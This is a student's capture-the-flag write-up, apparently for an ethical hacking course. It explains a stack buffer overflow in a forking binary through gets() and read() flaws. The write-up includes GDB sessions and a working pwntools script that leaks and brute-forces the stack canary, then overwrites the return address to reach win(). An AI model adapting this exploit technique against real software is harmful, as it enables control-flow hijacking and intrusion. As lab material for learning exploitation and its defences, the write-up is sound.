Nicola Mores, 13/05/2024

Challenge: BASH - Basic Asynchronous Shell

Background

This challenge is about memory corruption, a technique that allows an attacker to modify the contents of the memory location allocated to a process, modifying its behavior, leading to crashes or results unexpected to the original programmer, like control-flow hijacking. In particular in this case this is done through buffer overflow, writing data beyond the allocated memory and thus overwriting other useful data like the return address of a function. This type of attacks can become more difficult due to the presence of canaries, random values (shared between parents and children in case of forks, as happens in this case) placed between user and control data, that will lead to program halts if modified.

Vulnerability

The key vulnerabilities we encounter during this challenge are the various functions that use user input/output without properly handling the size of the buffer they are working on. In particular, in the `echo()` function the system uses a 64-bytes buffer, while the `read(0, input, 73)` [1] call allows us to feed in more characters than the supported ones. Also, in the same function, we have a vulnerability in the `printf`: by using `%.79s` the system will print a total of 79 characters, up to 6 more than the ones we have read. These problems can lead to a canary leak. In `toUpper()` and `main()` there is another problem due to the usage of the unsecure function `gets()` [2] that allows the user to insert an arbitrary long input, thus to modify the function stack contents and in particular to change the return address in a way to jump towards the objective function `win()`. In order to prevent these types of attacks, especially in languages like C in which there are no built-in protections, we have to apply constraints to user input (like in the `echo()` function) and also be more careful on the size of what we output.

Solution

In order to complete this challenge we first have to understand what's the purpose of the code and then notice the vulnerabilities stated in the previous paragraph. Knowing that, we can think of implementing a buffer overflow attack [3]. Let's start by using the command `checksec` [4] in order to check the security measures applied to the binary file: by doing so we can notice how it won't be possible to use a shellcode injection (due to the enabled NX) and the active canaries. Having done that, we can think of what our approach will be. Our final goal is to jump towards the `win()` function from the main. In order to do so we need to change the return address saved on its stack frame, exploiting the vulnerability introduced by the `gets()` function. This will be possible only after leaking in some way the canaries, that fortunately won't change in any of the children processes generated by the main, and also the `win()` address, to which we will send the control flow. Let's start by retrieving the latter simply using the command `p win` in GDB [5]. For what concerns the canaries, we can exploit the vulnerability introduced by the `read()` call inside of `echo()` in order to leak them. To do so we need to know exactly where these are stored. This information can be obtained once again using GDB:

```
Unset
# Create a long enough pattern string to break the limits of the buffer
gef➤ Pattern create 100
# Since we can't directly retrieve the offset from the echo function (due to
the limited input size), we work on toUpper, whose stack frame will work in
a similar fashion
# Disassemble the function and set a breakpoint when the process checks the
canaries' value
gef➤ disass toUpper
gef➤ b *0x00000000004013c8
```

```
# Enable the option to follow the execution of the children processes
set follow-fork-mode child
# Run the process, enter the toUpper function (option 2) and feed the
pattern previously created
gef➤ r
input> 1
gef➤ c
gef➤ c
input>
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaa
aaaakaaaaaaalaaaaaaamaaa
# Check the value contained in the top of the stack
gef➤ x/gx $rbp-0x8
0x7fffffffdcd8:    0x616161616161616a
# Find the canaries offset
gef➤ pattern offset 0x616161616161616a
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely
```

Now that we know the offset of the canaries, we can easily leak part of the canaries by sending a payload with length = 72 to the echo function. By doing so the system will print out our input, followed by 6 more characters. This behavior is explainable due to the fact that the latest character we send will break through the “user data” section of the stack frame, overriding the first character of the canary (that is always a 0x00). By doing so the process won’t know where the canary actually begins and so it will just print us part of its value, without crashing. Since we know that canaries are 8 byte long, the fact that the 1st one is always a NULL byte and that its value will be the same for every child generated through a fork, we can try to brute force the last byte we still don’t know. To do so we have to interact with `toUpper()` since it doesn’t apply any limit to the input size. This part of the attack is pretty straightforward: we just try every possible value that the byte can have (0x01 - 0xff) and check whether the function crashes (due to the fact that the canaries are modified) or if it doesn’t produce any error (meaning that the chosen value is the same as the original one). Once we have done that we just need to create a proper payload in order to change the return address in the main function. Following there’s my implementation [6], showing every step previously explained:

```python
base_payload = b"A" * offset        # Define a base payload that will overflow the buffer

conn.recvuntil(b"3. Exit\n")
conn.sendline(b"1")                 # Select the echo function
conn.recvline()
conn.sendline(base_payload)         # Send the base payload. Remember that using sendLine we will append a \n at the end

conn.recvuntil(b"You said: " + b"A"*offset + b"\n")     # Get all the output before the canary

canary = b"\x00" + conn.recv(6)     # Retrieve 6 bytes of canary and add the starting 0x00 to it

for i in range(0xff):               # Brute force the remaining byte of the canary
    conn.recvuntil(b"3. Exit\n")
    conn.sendline(b"2")                                 # Choose to use toUppercase function

    payload = base_payload + canary + bytes([i])        # Append the current byte guess
    print(f"{i}-th payload: {payload}")

    conn.sendlineafter(b"uppercased: ", payload)

    crashLine = conn.recvuntil(b"Available commands")
    print(crashLine)
    if(not (b"stack smashing detected" in crashLine)):  # If the program didn't crash, the guess is correct
        canary += bytes([i])
        print(f"Canary cracked")
        break

# Use the previously gained info to modify the return address of the main function
payload = base_payload + canary + b"B"*8 + p64(win_address)     # Notice the padding of size 8, due to the 64 bit system
print(payload)

conn.recvuntil(b"3. Exit\n")            # Feed the payload to the main function and retrieve the flag
conn.clean()
conn.sendline(payload)
conn.recvuntil(b"3. Exit\n")
conn.sendline(b"3")

conn.recvuntil(b"Here is the flag: ")
flag = conn.recvline(keepends=False).decode()
conn.close()
print(flag)
```


[1] read() Documentation:
https://pubs.opengroup.org/onlinepubs/000095399/functions/read.html
[2] gets() Documentation:
https://pubs.opengroup.org/onlinepubs/009696799/functions/gets.html
[3] Buffer overflow attack:
https://en.wikipedia.org/wiki/Buffer_overflow
[4] Checksec Documentation:
https://man.archlinux.org/man/checksec.1.en
[5] GNU DeBugger:
https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_toc.html
[6] My code implementation:
https://gitfront.io/r/NikoMrs/PrSpp9XjTGu2/EthicalHacking2024/blob/Assignment7/solution.py